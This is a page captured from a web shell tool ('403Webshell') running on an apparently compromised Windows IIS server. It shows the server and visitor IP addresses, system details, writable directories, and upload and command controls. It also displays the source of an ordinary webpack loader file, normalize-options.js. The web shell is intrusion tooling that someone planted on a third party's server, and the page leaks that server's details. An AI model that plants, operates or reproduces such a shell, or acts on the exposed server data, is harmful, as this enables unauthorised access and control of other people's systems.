403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/style-resources-loader/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/style-resources-loader/lib/utils/normalize-options.js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.normalizeOptions = void 0;
const os_1 = require("os");
const loader_utils_1 = require("loader-utils");
const validate_options_1 = require("./validate-options");
const normalizePatterns = (patterns) => Array.isArray(patterns) ? patterns : [patterns];
const coerceContentEOL = (content) => (content.endsWith(os_1.EOL) ? content : `${content}${os_1.EOL}`);
const getResourceContent = ({ content }) => coerceContentEOL(content);
const normalizeInjector = (injector) => {
    if (typeof injector === 'undefined' || injector === 'prepend') {
        return (source, resources) => resources.map(getResourceContent).join('') + source;
    }
    if (injector === 'append') {
        return (source, resources) => source + resources.map(getResourceContent).join('');
    }
    return injector;
};
const normalizeOptions = (ctx) => {
    const options = (0, loader_utils_1.getOptions)(ctx);
    (0, validate_options_1.validateOptions)(options);
    const { patterns, injector, globOptions = {}, resolveUrl = true } = options;
    return {
        patterns: normalizePatterns(patterns),
        injector: normalizeInjector(injector),
        globOptions,
        resolveUrl,
    };
};
exports.normalizeOptions = normalizeOptions;
//# sourceMappingURL=normalize-options.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit